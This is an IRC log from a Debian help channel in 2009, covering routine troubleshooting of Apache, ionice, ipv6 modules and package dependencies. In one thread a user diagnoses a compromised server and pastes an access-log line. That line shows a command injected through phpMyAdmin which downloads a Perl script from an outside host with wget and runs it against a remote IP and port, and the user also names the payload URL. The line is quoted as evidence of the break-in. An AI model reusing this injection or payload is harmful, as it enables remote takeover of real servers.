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| 14:38.04 | bfremon | and it's quite painful |
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| 14:39.44 | bfremon | Do you know if there's a fix, or if I shall report a bug ? |
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| 14:43.42 | enouf | bfremon: check the BTS |
| 14:43.45 | enouf | !bts |
| 14:43.45 | dpkg | Bug Tracking System for Debian packages, http://bugs.debian.org/ or to go directly to the bug page for a particular package/bug, try http://bugs.debian.org/packagename or http://bugs.debian.org/bugnumber . aptitude install reportbug, and check out <querybts> too. Users of unstable and testing are required to check the BTS. Useful for unstable and testing: aptitude install apt-listbugs apt-listchanges |
| 14:44.03 | enouf | and /msg dpkg sid |
| 14:44.15 | bfremon | I have already searched it with DRM2, and I found nothing |
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| 14:45.07 | dreamer | hmm, I'm having some trouble with apache, since about an hour it's not serving any pages, I have tried to restart the daemon, but it just keeps on waiting |
| 14:45.54 | enouf | http://www.google.com/search?hl=en&ie=ISO-8859-1&q=site%3Abugs.debian.org+drm+intel+hardware+rendering&btnG=Search |
| 14:45.55 | dondelelcaro | dreamer: what is the output of ps axfu; |
| 14:46.16 | dreamer | dondelelcaro: eh, lots :) |
| 14:46.24 | dondelelcaro | dreamer: use a paste site |
| 14:46.33 | Schuenemann | damn |
| 14:46.59 | dreamer | dondelelcaro: http://pastebin.com/m63d47b75 |
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| 14:47.43 | dondelelcaro | dreamer: they're all in uninterruptible IO sleep, along with a bunch of your other processes |
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| 14:48.12 | dondelelcaro | dreamer: see what dmesg says and/or restart. It may be a kernel bug or an issue with the hardware |
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| 14:48.58 | dreamer | hmm, I'm actually running debian in an lxc on top of gentoo |
| 14:49.48 | dreamer | I'm not sure what I can read from dmesg |
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| 14:51.44 | dreamer | hmmm, I can restart the lxc .. that's not going to make my users very happy :P |
| 14:52.12 | enouf | bfremon: seen the 1st hit from that search? GEM and EXA/UXA related -- fixed in .31, so it seems |
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| 14:54.06 | bfremon | enouf: yes I saw the bug, and I'm supposed to get the right version |
| 14:54.45 | dreamer | dondelelcaro: damnit, now the lxc is stuck -_- |
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| 14:57.48 | dondelelcaro | dreamer: well, your system has IO issues. It may be that the gentoo machine is busted, the lxc is busted, or any number of other issues |
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| 15:00.51 | dreamer | hmm, I'll bug the friend that helps me maintain this machine. he knows way more about lxc, the host seems to be fine. right now I just want the lxc to come back up safely, thnx anyway :P |
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| 15:03.08 | Elvis | hej guys, I have a small problem...I just returned from holiday and some strange stuff is going on with my box |
| 15:03.22 | Elvis | apache won't start anymore...and lots of attempts to make entrance via ssh by bruteforce |
| 15:03.40 | Elvis | Forcing reload of web server (apache2)...httpd (no pid file) not running |
| 15:03.41 | Elvis | (98)Address already in use: make_sock: could not bind to address [::]:80 |
| 15:03.41 | Elvis | (98)Address already in use: make_sock: could not bind to address 0.0.0.0:80 |
| 15:03.41 | Elvis | no listening sockets available, shutting down |
| 15:03.41 | Elvis | Unable to open logs |
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| 15:07.29 | Elvis | ;? |
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| 15:09.20 | rozie | Elvis: what's listning on port 80? |
| 15:09.25 | sepult | who the hell put whiptail as a dep of modconf ? |
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| 15:10.35 | sepult | dialog is doing it all well fuck your whiptail |
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| 15:10.55 | Elvis | rozie I have no clue |
| 15:10.59 | Elvis | how can I find out? |
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| 15:15.44 | enouf | Elvis: maybe your ISP got tired of your system acting as a botnet and spammailer |
| 15:16.00 | Elvis | enouf? |
| 15:16.04 | sepult | is that a tactics of some to purposefully inhibit use of some packages ?! or what! |
| 15:16.14 | enouf | ? (that was a question actually) |
| 15:16.39 | Elvis | erm first of all the servers are located in a datacenter |
| 15:16.42 | enouf | sepult: i hate tactical maneuvering .. heh |
| 15:16.42 | Elvis | not at my home |
| 15:16.55 | Elvis | secondly like I said apache won't start |
| 15:16.55 | enouf | so ask them |
| 15:17.00 | Elvis | ask them wat? |
| 15:17.01 | sepult | enouf: whiptail is broken! |
| 15:17.02 | Elvis | what? |
| 15:17.10 | enouf | what's wrong with them |
| 15:17.14 | Elvis | ? |
| 15:17.16 | enouf | sepult: i see |
| 15:17.16 | Elvis | they are my servers? |
| 15:17.32 | Elvis | the port isn't blocked.... |
| 15:17.38 | Elvis | something else apparently is running on the port |
| 15:17.41 | enouf | ok, now we're back to square one |
| 15:17.56 | dondelelcaro | sepult: whiptail should work, but if it's broken, file a bug |
| 15:17.58 | enouf | and you don;t know even the netstat command? |
| 15:17.59 | sepult | enouf: it get's clobbered everytime and leaves a non-reactive aptitude or apt-get and a screen with white fonts |
| 15:18.06 | enouf | and you run servers? .... ugh |
| 15:18.17 | rozie | ;) |
| 15:18.35 | dondelelcaro | sepult: but regardless, you can easily switch frontends |
| 15:18.37 | rozie | Elvis: man netstat, man ps |
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| 15:18.54 | enouf | man lsof as well |
| 15:18.55 | Elvis | I know the netstat command |
| 15:19.01 | Elvis | it just doesn't report anything on port 80 |
| 15:19.30 | enouf | maybe you;ve been rooted - and have had replaced binaries |
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| 15:20.06 | Elvis | that's what I'm wondering about enouf.. |
| 15:20.09 | Elvis | since I have tons of bruteforce attempts |
| 15:20.10 | Elvis | in the logs |
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| 15:20.30 | hugo | how can i install man for gcc? |
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| 15:20.44 | enouf | you should've been able to set the machines up so they wouldn't even know you exist ... prior to all this |
| 15:20.57 | enouf | hugo: /msg dpkg gcc-doc |
| 15:21.18 | Elvis | yes I could have put ssh on a different port..that would've been an option |
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| 15:21.27 | earthian | Hello, amd64 lenny booting of setup fails from usb stick on my poweredge 6850. Any ideas why? the messages that I see before a "reset" are: http://pastebin.com/daf71acc |
| 15:21.46 | enouf | there are many other things - fail2ban/denyhosts - iptables - many things |
| 15:21.51 | enouf | knockd .. etc |
| 15:22.43 | rozie | earthian: edd=off to disable - have you tried this? |
| 15:22.47 | Elvis | appears apache has downloaded http://dracemic.at.ua/dc.txt enouf |
| 15:23.00 | earthian | rozie, where? |
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| 15:23.28 | earthian | where do I put it? It does not get to the promt where I type in the kernel command paramaters :/ |
| 15:23.36 | enouf | earthian: kernel-parameters.txt - boot-options.txt |
| 15:23.39 | rozie | erth: as kernel boot parameter |
| 15:23.40 | earthian | ok |
| 15:23.45 | earthian | thanks |
| 15:23.55 | rozie | Elvis: exploited. pretty sure |
| 15:24.00 | enouf | then redo your bootloader - or toy with your BIOS |
| 15:24.04 | rozie | Elvis: ps aux | grep perl |
| 15:24.08 | earthian | but isnt EDD ok as in the pastebin? |
| 15:24.16 | Elvis | nothing rozie |
| 15:24.56 | rozie | bash? |
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| 15:26.20 | enouf | earthian: it's answering ok to probing edd and sending you the message, i would think - if that's where it fails, 1st thing i'd do is disable edd |
| 15:26.34 | earthian | k |
| 15:26.46 | enouf | (probing, to see if it exists, i gather) |
| 15:27.17 | enouf | earthian: is that CPU a 64bit one? |
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| 15:27.54 | hugo | funny gfdl is considered non-free |
| 15:28.04 | enouf | earthian: and are you sure you didn't grab the ia64 image mistakenly? |
| 15:28.07 | earthian | yes I think so.. most probably its http://ark.intel.com/Product.aspx?id=27101&processor=&spec-codes=SL84U,SL8UM |
| 15:28.29 | earthian | and no i did not grab ia64 mistakenly |
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| 15:29.12 | Elvis | raresbot is isntalled enouf , rozie |
| 15:29.39 | Elvis | 78.97.73.177 - - [21/Jul/2009:18:18:07 +0200] "GET /phpmyadmin/config/config.inc.php?c=cd%20/var/tmp;wget%20dracemic.at.ua/dc.txt;%20perl%20dc.txt%2080.32.226.40%208082 HTTP/1.1" 200 67 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT$ |
| 15:29.45 | Elvis | they exploited phpmyadmin.. |
| 15:30.06 | hugo | is reading gcc doc with browser considered non-free act? |
| 15:30.16 | enouf | heh http://www.dell.com/content/products/productdetails.aspx/pedge_6850?c=us&cs=28&l=en&s=dfb&~tab=specstab |
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| 15:31.20 | LuciusMare | hey,how to install .deb files? |
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| 15:31.41 | enouf | earthian: FWIW, and not that you have the wherewithall - but you might poke about the syslinux.zytor.com site too |
| 15:31.55 | Hazelesque | is there something like "nice" for disk usage/IO? |
| 15:32.02 | enouf | earthian: i mean 'to fix it' ... edit binaries and such |
| 15:32.03 | hugo | LuciusMare , dpkg -i |
| 15:32.07 | earthian | ah |
| 15:32.09 | seniorake | how could one specify a cronjob to execute at 3 times within an hour, e.g. the 17th, 25th and 56th minute ..? |
| 15:32.09 | earthian | k |
| 15:32.12 | Hazelesque | so I could run, say, "apt-get dist-upgrade" with lower disk priority? |
| 15:32.18 | earthian | gonna get CD then - will be faster |
| 15:32.21 | Hazelesque | so it doesn't hammer my system in the background |
| 15:32.30 | enouf | earthian: it's asm code at that level ;-) |
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| 15:33.01 | enouf | earthian: well first - check that you have Enabled booting from USB in BIOS :-) |
| 15:33.18 | earthian | :) |
| 15:33.27 | hugo | Hazelesque: ionice |
| 15:33.32 | Hazelesque | ooh |
| 15:33.40 | Hazelesque | hugo: can it be applied to already-running processes? |
| 15:33.46 | Elvis | enouf I guess we need to tell phpmyadmin guys |
| 15:33.49 | Hazelesque | uses apt-file to find the package |
| 15:33.52 | Elvis | that their software is vulnerable |
| 15:33.53 | enouf | Elvis: ok |
| 15:34.06 | enouf | Elvis: i think they know ;-) |
| 15:34.34 | hugo | Hazelesque: yes |
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| 15:36.08 | Hazelesque | hugo: /me reads the manpage before asking further questions |
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| 15:38.23 | Hazelesque | hugo: hmm, seems that using ionice to set it as an idle io process is not quite what I want |
| 15:39.33 | Hazelesque | so my choices are to make mplayer a realtime io process, or make apt-get (and children) a best effort io process, with a lower relative priority |
| 15:40.37 | enouf | Hazelesque: you could look at perhaps using libstatgrab |
| 15:40.58 | Hazelesque | enouf: what does that do? ( ... consults apt-cache in the background ... ) |
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| 15:41.04 | enouf | Hazelesque: iotop should show somethings |
| 15:41.10 | Mikey^ | Hi |
| 15:41.20 | hugo | Hazelesque: why don't idle io process work for you |
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| 15:41.21 | Mikey^ | I recently updated from testing to sid |
| 15:41.41 | Mikey^ | and I had gnome-core alone installed, now after updating when I try to do apt-get install gnome |
| 15:41.45 | Mikey^ | I get the below error |
| 15:41.48 | Hazelesque | <PROTECTED> |
| 15:41.54 | enouf | Hazelesque: sorry - thought you wanted to 'look' at stats .. not alter so much - but for that how about schedutils then |
| 15:41.57 | Mikey^ | gnome: Depends: gnome-desktop-environment (= 1:2.26+0) but it is not going to be installed |
| 15:42.24 | Hazelesque | if I'm running mplayer, surely it will be using the disk frequently, but not at 100% of the possible rate |
| 15:42.41 | enouf | Hazelesque: also - see if kjournald and pdflush are using a lot .. if so, consider alternative mount options and even other FSTypes |
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| 15:43.08 | Hazelesque | hugo: ie, if I ran "apt-get dist-upgrade" in the idle io class, and mplayer as default, then the upgrade would never get any io time, surely? |
| 15:43.30 | valdyn | Hazelesque: should ? it *will* get io time |
| 15:43.36 | enouf | Hazelesque: you have multiple cores? and are you sure it's an IO issue? ... |
| 15:43.39 | valdyn | Hazelesque: it could probably even starve processes |
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| 15:43.57 | adb | Mikey^: do so > aptitude install gnome gnome-desktop-environment |
| 15:44.17 | enouf | Hazelesque: have you watched iotop and vmstat? |
| 15:44.24 | Hazelesque | enouf: well, the hard disk light was on constantly, and the video would keep stalling |
| 15:44.25 | jackarutu | Hazelesque when I use mplayer to encode x264 on a quade code pcu it hits the io 100% for fo rlike 4 hours |
| 15:44.34 | valdyn | Hazelesque: and if your mplayer has hickups, the right way to fix it would probably be to increase cache size, not to change io priorities |
| 15:44.36 | Hazelesque | was just watching some Torchwood :P |
| 15:44.49 | Mikey^ | abd: wont it be same as apt-get ? |
| 15:44.52 | Hazelesque | valdyn: I set cache to 16384... and it still glitched every so often |
| 15:44.56 | enouf | Hazelesque: possible that cron.* were running? or has (does) this happen all the time? |
| 15:45.01 | Hazelesque | valdyn: should I be using a larger cache than that? |
| 15:45.02 | Mikey^ | adb: wont it be same as apt-get ? |
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| 15:45.06 | valdyn | Hazelesque: no |
| 15:45.21 | Hazelesque | enouf: not yet :P |
| 15:45.24 | enouf | 4096 is plenty for most things |
| 15:45.25 | adb | Mikey^: likely , but much better |
| 15:45.46 | valdyn | Hazelesque: maybe your computer is on the edge already with the type of movies you are playing |
| 15:45.56 | Hazelesque | may also be because I took LVM snapshots of /, /usr and /var |
| 15:46.05 | enouf | haha |
| 15:46.14 | Hazelesque | and so the IO generated from the update is proportionally higher than it would normally be |
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| 15:46.27 | Hazelesque | because it's having to maintain the exception store with the old blocks as it updates the new ones |
| 15:46.53 | Mikey^ | adb: ok |
| 15:47.15 | valdyn | Hazelesque: making mplayer realtime would probably just break X, that might not help at all |
| 15:47.21 | Hazelesque | valdyn: exactly. |
| 15:47.34 | adb | dpkg: tell Mikey^ why aptitude |
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| 15:47.45 | Hazelesque | valdyn: which is why I was thinking of making apt-get the (default) best-effort class, but with a lower priority than mplayer |
| 15:47.49 | adb | dpkg: tell Mikey^ -about why aptitude |
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| 15:47.57 | mahdi | hi all . who to convert SWF to avi ? |
| 15:48.01 | Hazelesque | I will (as per enouf's suggestion) look at iotop, as soon as I can install it |
| 15:48.23 | Hazelesque | as I had to interrupt the update and run "dpkg --configure -a" (or somesuch) as I'd interrupted dpkg to halt the update to install iotop :P |
| 15:48.29 | valdyn | Hazelesque: what kind of movies are you playing? |
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| 15:49.19 | valdyn | Hazelesque: and why would the disk be the bottleneck? |
| 15:49.27 | enouf | kind == codec/decodec and container formats |
| 15:49.41 | Hazelesque | valdyn: VIDEO: [XVID] 640x368 12bpp 25.000 fps 879.4 kbps (107.3 kbyte/s) |
| 15:49.54 | valdyn | Hazelesque: that *that* should play *easily* |
| 15:50.08 | Hazelesque | enouf: yes yes, I only have two hands, I can't type that fast :P |
| 15:50.23 | enouf | you're doing pretty good sonny |
| 15:50.23 | valdyn | apt-get is not even breaking my 1080p h.264 movies |
| 15:50.23 | Hazelesque | (well, I can, but not when the terminal I want is on a completely different workspace :P) |
| 15:50.30 | Hazelesque | enouf: sonny who? |
| 15:50.38 | enouf | sister? |
| 15:50.41 | mahdi | <PROTECTED> |
| 15:50.53 | Hazelesque | valdyn: I suspect it might be to do with LVM. |
| 15:50.54 | mahdi | <PROTECTED> |
| 15:50.55 | enouf | who == how ? |
| 15:51.05 | rozie | mahdi: go away |
| 15:51.06 | valdyn | Hazelesque: youre snapshotting maybe |
| 15:51.07 | Hazelesque | enouf: nah, I suspect mahdi wants to outsource it. |
| 15:51.14 | valdyn | Hazelesque: certainly not just using lvm |
| 15:51.25 | enouf | mahdi: try mencoder and vlc and friends - but SWF is a proprietary POFS |
| 15:51.58 | Hazelesque | valdyn: any day now, when dpkg configure (as it was the upgrade from lenny to squeeze that I interrupted :P) finishes, I might be able to install iotop, and then tell you what it's doing :P |
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| 15:52.39 | Hazelesque | valdyn: and, indeed, what I've read suggests that when using LVM snapshots, each write requires at least a read and two writes to perform |
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| 15:52.40 | enouf | i'm sure you've studed /msg dpkg lenny->squeeze in depth ... |
| 15:52.44 | enouf | sure ... sure |
| 15:53.07 | enouf | studied* even |
| 15:53.38 | Hazelesque | enouf: um, why? I just read that, and it appeared to be "s/lenny/squeeze/, poke aptitude, expect it to break"... |
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| 15:54.00 | Hazelesque | I'd been using lenny for probably a year before it became stable, I've used testing before :P |
| 15:54.15 | Hazelesque | (I just had no good excuse/time to upgrade in a little while :P) |
| 15:54.42 | enouf | Hazelesque: how ad of me to make presumptions .. heh |
| 15:54.51 | enouf | s/ad/bad/ |
| 15:55.31 | Hazelesque | enouf: and, I would read the "release" notes/CHANGELOGs, if it was something that mattered if it broke |
| 15:55.43 | fxiny | enouf: i've been f* busy with a chain saw ! |
| 15:55.45 | fxiny | oops |
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| 15:55.47 | Mikey^ | adb: it works with aptitude, though some packages are being held back and it shows some score: -9863 |
| 15:55.50 | Hazelesque | enouf: and, that's the other reason for the LVM snapshots... so I can roll it back if it breaks :P |
| 15:56.18 | shl | Hazelesque: by the time you figure this thing out the upgrade is done you know... |
| 15:56.35 | Hazelesque | shl: maybe I /want/ to shave that yak? :P |
| 15:56.59 | ewet | hi. how will 'apt-get install openoffice.org=1:3.1.0-5~bpo50+2' fetch and upgrade all dependencies? or will only aptitude do it? |
| 15:57.12 | valdyn | ewet: same thing |
| 15:57.26 | Hazelesque | I must make a note to re-blacklist the "pcspkr" module, as the annoying loud beep on this thinkpad gets right on my nerves |
| 15:57.57 | enouf | fxiny: haha ... |
| 15:58.05 | ewet | valdyn, I think I remember doing this with aptitude and it worked (this was my common way to pin backports -10 and selectively upgrade) |
| 15:58.10 | MrWax | If i have a function like fnc1() { for i; do cat $i } <- this is wrong right? should be fnc1($paste) right? |
| 15:58.16 | Mikey^ | what does that score mean anyway ? |
| 15:58.26 | ewet | but I have decided to use apt-get for stability |
| 15:58.36 | enouf | Hazelesque: sounds like a plan -- how's it working out for ya? :-P |
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| 15:59.14 | shl | Hazelesque: i just read ionice (i'm not about to shave a yak, but I'm prabably as curious as you are) and you should reread that |
| 15:59.42 | shl | Hazelesque: it looks like it does *exactly* what you need, and is seems to take it's default io priority from the cpu nice setting |
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| 16:00.04 | shl | Hazelesque: make apt-get best effort 7 and mplayer best effort 3 or some such |
| 16:00.08 | ewet | but apt-get gives me an error about broken dependencies. I have heard that apt-get and aptitude work differently with dependencies |
| 16:00.08 | Hazelesque | enouf: it would be fine if it wasn't for the fact that the upgrade had "stuck" at the beginning due to a debconf prompt, such that when it finished downloading 1.5GB of data last night, it then sat there doing nothing till I wanted to watch some stuff :P |
| 16:00.08 | enouf | !info schedutils |
| 16:00.29 | Hazelesque | shl: yep, that's what I was thinking. I was specifically saying that the **IDLE** io class wouldn't do what I want |
| 16:00.42 | enouf | ewet: not really - depends which versions you mean ... |
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| 16:00.58 | shl | oh you threw me off with that... i didn't say anything. let me know how it works out |
| 16:01.00 | enouf | ewet: well .. they are different though ... |
| 16:01.00 | ewet | enouf, vanilla Lenny |
| 16:01.24 | Hazelesque | shl: and valdyn and enouf were telling me to look at iotop, and that I shouldn't be having to "mess around with" IO priorities for a system update |
| 16:01.32 | enouf | ewet: apt-get -f install ? |
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| 16:01.52 | Hazelesque | shl: so I was waiting for dpkg --configure -a to finish so I could install iotop, but this is really getting on my tits now :P |
| 16:02.00 | ewet | enouf, won't that just force the install and leave me with broken dependencies?! |
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| 16:02.25 | ewet | oh forget that ... |
| 16:02.46 | valdyn | ewet: apt-get just fails to resolve depends more often than aptitude |
| 16:02.51 | enouf | Hazelesque: no, i was suggesting you make sure you check out whether you're seeing I/O bottlenecking, or .. something else like CPU, net, RAM - or swapping even |
| 16:02.56 | shl | Hazelesque: well you shouldn't have to, no. LVM snapshot, apt-get upgrade, on a laptop harddisk and then complaining your video lags is a bit crazy. you should just go and do your laundry and come back when its done. but I looked up that yak thing and it's funny. go ahead. |
| 16:02.58 | valdyn | ewet: which can be worked around manually |
| 16:03.13 | enouf | ewet: depends,.,, seems you already broke it |
| 16:03.26 | Hazelesque | shl: well, it's a Western Digital Scorpio Black 7200rpm laptop hard disk |
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| 16:03.45 | Hazelesque | shl: I don't think they do 10krpm disks for laptops, so this is probably the best I can get :P |
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| 16:04.18 | enouf | what's wrong with having a Router in your craptop? |
| 16:04.20 | Hazelesque | (short of running an extension lead out of my laptop, and gaffer taping a "real" hard drive to the outside of it ;) |
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| 16:04.32 | ewet | valdyn, enouf okay i'll post the pastebin |
| 16:04.33 | Hazelesque | enouf: a whatnow? (do you mean a "raptor"?) |
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| 16:04.50 | Hazelesque | enouf: and I would argue that the Thinkpad T60 is not crap. |
| 16:04.57 | enouf | no, i mean a Router - a portable electric woodworking tool |
| 16:05.13 | enouf | 10-20k rpms usually |
| 16:05.20 | purplepenguins | enouf: safety concerns |
| 16:05.34 | Hazelesque | enouf: perhaps I should've been clearer... ORBITAL SANDING DISCS are not what I meant :P |
| 16:05.35 | enouf | Hazelesque: i'm sure ##ibmthinkpad feels the same as you |
| 16:05.45 | enouf | purplepenguins: wear googles? |
| 16:05.48 | enouf | hides |
| 16:06.10 | Hazelesque | pokes enouf with SanMehat |
| 16:06.10 | fxiny | removes the sheperd bush |
| 16:06.45 | mahdi | WHOCAN I CONVERT SWF 2 AVI WITH MENCODER ? |
| 16:07.03 | ewet | valdyn, enouf, so this is the error http://pastebin.com/m317d349d |
| 16:08.11 | ewet | and this is apt-cache policy http://pastebin.com/m101046dc |
| 16:08.15 | earthian | on a 64bit capable server with 8 gigs of RAM, should I use amd64 or i386 with bigmem kernel? |
| 16:08.25 | earthian | what are the pros and cons? |
| 16:08.28 | xand | earthian: use amd64 |
| 16:08.41 | Hazelesque | mahdi: try googling for a recipe. and, FLV is not SWF. |
| 16:09.01 | martian67 | earthian, there is little reason to use i386 unless you need binary compatabillity |
| 16:09.34 | Hazelesque | mahdi: FLV is a container format that often contains Sorenson H264 video |
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| 16:09.37 | Hazelesque | mahdi: and AVI is another container format. what type of video encoding do you want in your AVI? |
| 16:09.59 | Hazelesque | (also: AVI is a rubbish container format, unless you have a good reason to us ie, consider matroska instead.) |
| 16:10.01 | Hazelesque | use it* |
| 16:10.13 | Hazelesque | (aka MKV) |
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| 16:22.55 | Hazelesque | well, I forgot to install iotop before restarting the upgrade |
| 16:22.55 | Hazelesque | but ionice seems to be working |
| 16:23.32 | Mus2aktaS | acemi: bunların hepsi türkmü |
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| 16:25.25 | t0mas | hi |
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| 16:26.40 | t0mas | I am trying to disable ipv6 in Debian Lenny (OpenVZ kernel), but it keeps on loading the ipv6 module while I have added a "blacklist ipv6" to /etc/modprobe.d/blacklist and listed "net-pf-10 off" in /etc/modprobe.d/aliases |
| 16:26.53 | sebo | sa |
| 16:26.57 | t0mas | Any ideas on how to disable ipv6? or how to check why it is loaded? |
| 16:27.37 | enouf | t0mas: blacklist it |
| 16:28.04 | sebo | selam alan yok yahu |
| 16:28.51 | enouf | earthian: i thought you had 4G installed - or .. oh sorry, was someone else - pinguon or somesuch |
| 16:29.12 | earthian | 8G here :) |
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| 16:29.27 | earthian | but i think i will go for i386 ... better compatibility |
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| 16:30.00 | t0mas | enouf: that's what I did? |
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| 16:30.57 | izua_ | um |
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| 16:31.07 | izua_ | i'm connected to a remote computer via ssh |
| 16:31.22 | izua_ | how can i do an ifconfig up/down and then run dhclient safely? |
| 16:31.32 | enouf | whoa .. heh, i guess we got a few more ipv6 ones to chose from now, heh |
| 16:31.40 | enouf | modprobe -l | grep ipv6 |
| 16:31.59 | sebo | #pardus |
| 16:32.13 | izua_ | should a bash script with a delay work? |
| 16:32.22 | peterrooney | izua_: by not being remote. |
| 16:32.43 | izua_ | i can't. that box doesn't have a keyboard/monitor attached |
| 16:32.59 | izua_ | and i changed the router settings for it (reserved ip) |
| 16:33.03 | t0mas | enouf: indeed, long list |
| 16:33.16 | ajavid | <PROTECTED> |
| 16:33.21 | izua_ | would it help if i'd do it from a screen session? |
| 16:33.28 | izua_ | and then detach, launch a delayed script |
| 16:33.32 | izua_ | and then reattach? |
| 16:34.01 | enouf | earthian: when you do so, you add another layer of mmap() that needs to be done, as well as other things - i mean i386 userland is ok, but use an amd64 kernel (heck try both -- the i386 one would need to be -bigmem for it to see all your 8G) |
| 16:34.13 | t0mas | enouf: but only ipv6 itself is loaded |
| 16:34.18 | peterrooney | izua_: well, a screen session could be helpful. but you might want to set up a cron job or an at job to go to a known host and announce what dhcp address it was assigned. |
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| 16:35.00 | enouf | t0mas: see output of netstat -tunap as root - any tcp6 showing? |
| 16:35.03 | xand | earthian: I doubt you'll have compatbility issues on an amd64 server |
| 16:35.06 | peterrooney | izua: it's pretty hard to re-attach to screen when you don't know the ip address of the host. |
| 16:35.23 | earthian | xand, i will be running services on vms |
| 16:35.24 | enouf | t0mas: you might need to bring down the iface also ... just to modprobe -r ipv6 |
| 16:35.28 | t0mas | enouf: none |
| 16:35.31 | xand | earthian: I have 3 amd64 debian installs on laptop, desktop and server, no caompatability problems |
| 16:35.35 | xand | earthian: what VM? |
| 16:35.44 | t0mas | enouf: remote connection :-) |
| 16:35.47 | enouf | t0mas: what happens when you modprobe -r ipv6 |
| 16:35.48 | enouf | ? |
| 16:36.00 | earthian | vmware/xen/kvm |
| 16:36.01 | t0mas | it is in use |
| 16:36.07 | xand | I see |
| 16:36.15 | earthian | not sure which as i need to finish OS install first :) |
| 16:36.44 | enouf | t0mas: well - the ifaces are using it then likely - also lsof might help - but ... oh, and check you don't have any sysctl settings in the way |
| 16:37.00 | enouf | (for when after you get it removed) |
| 16:37.04 | sebo | #pardus |
| 16:37.11 | t0mas | ok, a reboot wouldn't be a problem.. |
| 16:37.19 | t0mas | any way to fix it then? |
| 16:37.42 | enouf | t0mas: blacklist it |
| 16:38.01 | t0mas | I did, but it still loads |
| 16:38.08 | enouf | t0mas: it might be loading from initrd - /msg dpkg blacklist-initramfs |
| 16:38.22 | enouf | t0mas: check /etc/modules too |
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| 16:38.55 | izua | peterrooney: well, i know it, because i set it up |
| 16:39.37 | izua | hmm.. i didn't drop, did i? |
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| 16:40.32 | enouf | t0mas: used to be a file(s) /etc/modules.conf et /etc/modprobe.d/ or something needed commenting ... but shouldn't be that way anymore, AFAICT - also mv any /etc/{modules,modprobe}.conf files out of the way |
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| 16:40.56 | t0mas | enouf: trying now |
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| 16:40.59 | t0mas | and replacing the initrd |
| 16:42.07 | enouf | t0mas: the /etc/modprobe.d/aliases was the other filename |
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| 16:43.09 | t0mas | enouf: I've blacklisted the module, set alias to off and recreated the initrd.. but after a reboot it still loads it |
| 16:43.41 | enouf | is "alias net-pf-10 ipv6" commented there or not? |
| 16:43.48 | t0mas | commented |
| 16:43.58 | t0mas | and replaced by "alias net-pf-10 off" |
| 16:44.16 | enouf | why are you recreating initrds? you only need to update-initramfs |
| 16:44.33 | enouf | _if_ it's even loading from that |
| 16:45.01 | t0mas | sorry, did not recreated, updated as described by dpkg |
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| 16:47.37 | enouf | are any of these loaded? tg3.ko bnx2.ko nfs.ko lockd.ko sunrpc.ko |
| 16:48.25 | t0mas | it is rebooting now, I'll check |
| 16:48.37 | t0mas | tg3 has a chance.. iirc we use those cards in other servers |
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| 16:49.24 | t0mas | enouf: none of them are loaded |
| 16:49.39 | t0mas | might the openvz kernel have something to do with it? |
| 16:49.51 | enouf | not a Debian one? |
| 16:49.56 | t0mas | a Debian one |
| 16:50.05 | t0mas | from the standard lenny repository |
| 16:50.12 | enouf | i wouldn't know ... |
| 16:50.29 | enouf | i mean, are you talking host or client? |
| 16:50.39 | t0mas | host |
| 16:50.51 | t0mas | even without any running clients |
| 16:51.33 | enouf | hrm .. well, if it's debian one, it's built ok and we can work with that - i just have no idea what openvz requirements are |
| 16:51.33 | t0mas | just setting the machine up and getting all ports other than SSH closed because the machine shouldn't do anything but host VPS containers |
| 16:51.50 | enouf | t0mas: nothing in /etc/modules about ipv6? |
| 16:52.05 | t0mas | no |
| 16:52.12 | t0mas | it's empty :) |
| 16:52.19 | enouf | no tcp6 entries from ifconfig (check your loopback) and netstat? |
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| 16:52.45 | t0mas | it did configure adresses which show in ifconfig |
| 16:53.02 | t0mas | I have tried to remove these with the "ip -6 addr del [address] dev [interface]" command |
| 16:53.08 | t0mas | but that does not allow me to unload the module |
| 16:53.13 | triptec | how do I change the keymap in my current ssh session? I get "Deferring virtual terminal setup until console accessible." and nothing happens |
| 16:53.27 | enouf | lsof -i says all are ipv4 ? |
| 16:53.33 | t0mas | enouf: interfaces are configured with static ipv4 addresses |
| 16:53.35 | enouf | as root ofcourse |
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| 16:53.44 | t0mas | got 1 |
| 16:53.51 | enouf | cupsd? |
| 16:53.54 | enouf | heh |
| 16:53.55 | t0mas | racoon |
| 16:53.56 | t0mas | ipsec |
| 16:54.00 | enouf | ouchie |
| 16:54.16 | t0mas | I can just stop that one, not using an ipsec connection from here |
| 16:55.07 | enouf | cupsd 2299 root 2u IPv6 6246 0t0 TCP ip6-localhost:ipp (LISTEN) |
| 16:55.18 | enouf | is my lone ipv6 one |
| 16:55.23 | t0mas | I don't have cups installed |
| 16:55.42 | t0mas | and I have no IPv6 lines left after stopping racoon |
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| 16:56.16 | enouf | so ... make sure racoon (whatever the fuck that is) doesn't want to startup on reboot |
| 16:56.21 | enouf | !rcconf |
| 16:56.22 | dpkg | somebody said rcconf was a frontend to update-rc.d, or check out <sysv-rc-conf> - see these http://www.debian-administration.org/articles/212 and http://blogs.cyberciti.biz/hm/index.php/2005/10/27/removing-unwanted-startup-debian-files-or-services/ and ask me about <services> |
| 16:57.07 | enouf | if you can't modprobe -r ipv6 one of your other modules loaded depends on it |
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| 16:57.20 | t0mas | it does not list other modules depending on it in lsmod |
| 16:57.37 | enouf | that's not what i said |
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| 16:57.48 | t0mas | ah, sorry |
| 16:58.12 | t0mas | rebooting without racoon |
| 16:58.17 | jelly-home | enouf: ipv6 cannot be unloaded |
| 16:58.37 | _stack | hi, I'm doing packages of a development program, where inside the root directory there is a .git directory for the repository, is there a way to tell debuild to ignore the directory in doing the tar.gz source package? |
| 16:58.56 | t0mas | jelly-home: not at all? |
| 16:59.13 | enouf | $ modinfo $(lsmod | awk '{ print$1 }') | grep depends |
| 16:59.15 | jelly-home | t0mas: correct |
| 16:59.24 | jelly-home | once it's there, it stays |
| 16:59.32 | t0mas | ok |
| 16:59.43 | enouf | jelly-home: oh well - we tried ;-) |
| 17:00.07 | enouf | jelly-home: btw -- why not? |
| 17:00.07 | t0mas | enouf: and we succeeded with a reboot |
| 17:00.08 | t0mas | it's not loaded now |
| 17:00.19 | enouf | huh? |
| 17:00.27 | jelly-home | enouf: dunno, ask the upstream |
| 17:00.37 | t0mas | reboot without racoon *and* openvz and now it's not loaded |
| 17:00.45 | enouf | t0mas: Lenny openvz kernel? |
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| 17:00.54 | t0mas | enouf: yes |
| 17:00.55 | enouf | t0mas: .26 ? |
| 17:01.03 | enouf | or bpo perhaps? |
| 17:01.05 | t0mas | 2.6.26-2-openvz-amd64 #1 SMP |
| 17:01.17 | t0mas | from the official repository |
